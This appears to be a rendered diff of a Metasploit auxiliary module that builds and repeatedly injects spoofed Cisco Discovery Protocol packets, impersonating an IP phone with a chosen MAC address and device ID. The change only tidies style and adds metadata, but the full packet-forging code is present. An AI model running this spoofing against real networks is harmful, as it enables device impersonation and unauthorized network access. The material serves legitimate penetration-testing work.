@@ -7,47 +7,53 @@ class MetasploitModule < Msf::Auxiliary
77 include Msf ::Exploit ::Capture
88
99 def initialize
10-
1110 super (
12- 'Name' => 'Send Cisco Discovery Protocol (CDP) Packets' ,
11+ 'Name' => 'Send Cisco Discovery Protocol (CDP) Packets' ,
1312 'Description' => %q{
1413 This module sends Cisco Discovery Protocol (CDP) packets. Note that any responses
1514 to the CDP packets broadcast from this module will need to be analyzed with an
1615 external packet analysis tool, such as tcpdump or Wireshark in order to learn more
1716 about the Cisco switch and router environment.
1817 } ,
19- 'Author' => 'Fatih Ozavci' , # viproy.com/fozavci
20- 'License' => MSF_LICENSE ,
21- 'References' => [
18+ 'Author' => 'Fatih Ozavci' , # viproy.com/fozavci
19+ 'License' => MSF_LICENSE ,
20+ 'References' => [
2221 [ 'URL' , 'https://en.wikipedia.org/wiki/CDP_Spoofing' ]
2322 ] ,
24- 'Actions' => [
23+ 'Actions' => [
2524 [ 'Spoof' , { 'Description' => 'Sends CDP packets' } ]
2625 ] ,
27- 'DefaultAction' => 'Spoof'
26+ 'DefaultAction' => 'Spoof' ,
27+ 'Notes' => {
28+ 'Stability' => [ OS_RESOURCE_LOSS ] ,
29+ 'SideEffects' => [ IOC_IN_LOGS ] ,
30+ 'Reliability' => [ ]
31+ }
2832 )
2933
3034 register_options (
3135 [
32- OptString . new ( 'SMAC' , [ false , " MAC Address for MAC Spoofing" ] ) ,
33- OptString . new ( 'VTPDOMAIN' , [ false , " VTP Domain" ] ) ,
34- OptString . new ( 'DEVICE_ID' , [ true , " Device ID (e.g. SIP00070EEA3156)" , " SEP00070EEA3156" ] ) ,
35- OptString . new ( 'PORT' , [ true , "The CDP 'sent through interface' value" , " Port 1" ] ) ,
36+ OptString . new ( 'SMAC' , [ false , ' MAC address for MAC spoofing' ] ) ,
37+ OptString . new ( 'VTPDOMAIN' , [ false , ' VTP Domain' ] ) ,
38+ OptString . new ( 'DEVICE_ID' , [ true , ' Device ID (e.g. SIP00070EEA3156)' , ' SEP00070EEA3156' ] ) ,
39+ OptString . new ( 'PORT' , [ true , "The CDP 'sent through interface' value" , ' Port 1' ] ) ,
3640 # XXX: this is not currently implemented
37- #OptString.new('CAPABILITIES', [false, "Capabilities of the device (e.g. Router, Host, Switch)", "Router"]),
38- OptString . new ( 'PLATFORM' , [ true , " Platform of the device" , " Cisco IP Phone 7975" ] ) ,
39- OptString . new ( 'SOFTWARE' , [ true , " Software of the device" , " SCCP75.9-3-1SR2-1S" ] ) ,
41+ # OptString.new('CAPABILITIES', [false, "Capabilities of the device (e.g. Router, Host, Switch)", "Router"]),
42+ OptString . new ( 'PLATFORM' , [ true , ' Platform of the device' , ' Cisco IP Phone 7975' ] ) ,
43+ OptString . new ( 'SOFTWARE' , [ true , ' Software of the device' , ' SCCP75.9-3-1SR2-1S' ] ) ,
4044 OptBool . new ( 'FULL_DUPLEX' , [ true , 'True iff full-duplex, false otherwise' , true ] )
41- ] )
45+ ]
46+ )
4247
4348 deregister_options ( 'FILTER' , 'PCAPFILE' , 'RHOST' , 'SNAPLEN' , 'TIMEOUT' )
4449 end
4550
4651 def setup
4752 check_pcaprub_loaded
4853 unless smac
49- fail ArgumentError , "Unable to get SMAC from #{ interface } -- Set INTERFACE or SMAC"
54+ raise ArgumentError , "Unable to get SMAC from #{ interface } -- Set INTERFACE or SMAC"
5055 end
56+
5157 open_pcap
5258 close_pcap
5359 end
@@ -61,19 +67,17 @@ def smac
6167 end
6268
6369 def run
64- begin
65- open_pcap
66-
67- @run = true
68- cdp_packet = build_cdp
69- print_status ( "Sending CDP messages on #{ interface } " )
70- while @run
71- capture . inject ( cdp_packet )
72- Rex . sleep ( 60 )
73- end
74- ensure
75- close_pcap
70+ open_pcap
71+
72+ @run = true
73+ cdp_packet = build_cdp
74+ print_status ( "Sending CDP messages on #{ interface } " )
75+ while @run
76+ capture . inject ( cdp_packet )
77+ Rex . sleep ( 60 )
7678 end
79+ ensure
80+ close_pcap
7781 end
7882
7983 def build_cdp
@@ -106,7 +110,7 @@ def build_cdp
106110 # VTP management domain
107111 cdp << tlv ( 9 , datastore [ 'VTPDOMAIN' ] ) if datastore [ 'VTPDOMAIN' ]
108112 # random 1000-7000 power consumption in mW
109- cdp << tlv ( 0x10 , [ 1000 + rand ( 6000 ) ] . pack ( 'n' ) )
113+ cdp << tlv ( 0x10 , [ rand ( 1000 .. 6999 ) ] . pack ( 'n' ) )
110114 # duplex
111115 cdp << tlv ( 0x0b , datastore [ 'FULL_DUPLEX' ] ? "\x01 " : "\x00 " )
112116 # VLAn query. TODO: figure out this field, use tlv, make configurable
@@ -117,7 +121,7 @@ def build_cdp
117121
118122 # Build and return the final packet, which is 802.3 + LLC + CDP.
119123 # 802.3
120- PacketFu ::EthHeader . mac2str ( " 01:00:0C:CC:CC:CC" ) +
124+ PacketFu ::EthHeader . mac2str ( ' 01:00:0C:CC:CC:CC' ) +
121125 PacketFu ::EthHeader . mac2str ( smac ) +
122126 [ cdp . length + 8 ] . pack ( 'n' ) +
123127 # LLC
@@ -126,8 +130,8 @@ def build_cdp
126130 cdp
127131 end
128132
129- def tlv ( t , v )
130- [ t , v . length + 4 ] . pack ( "nn" ) + v
133+ def tlv ( type , value )
134+ [ type , value . length + 4 ] . pack ( 'nn' ) + value
131135 end
132136
133137 def compute_cdp_checksum ( cdp )
@@ -143,6 +147,6 @@ def compute_cdp_checksum(cdp)
143147 checksum += cdp [ cdp . length - 1 ] . getbyte ( 0 ) << 8 if remaining == 1
144148 checksum = ( checksum >> 16 ) + ( checksum & 0xffff )
145149 checksum = ~( ( checksum >> 16 ) + checksum ) & 0xffff
146- ( [ checksum ] . pack ( "S*" ) ) . unpack ( "n*" ) [ 0 ]
150+ [ checksum ] . pack ( 'S*' ) . unpack ( 'n*' ) [ 0 ]
147151 end
148152end
0 commit comments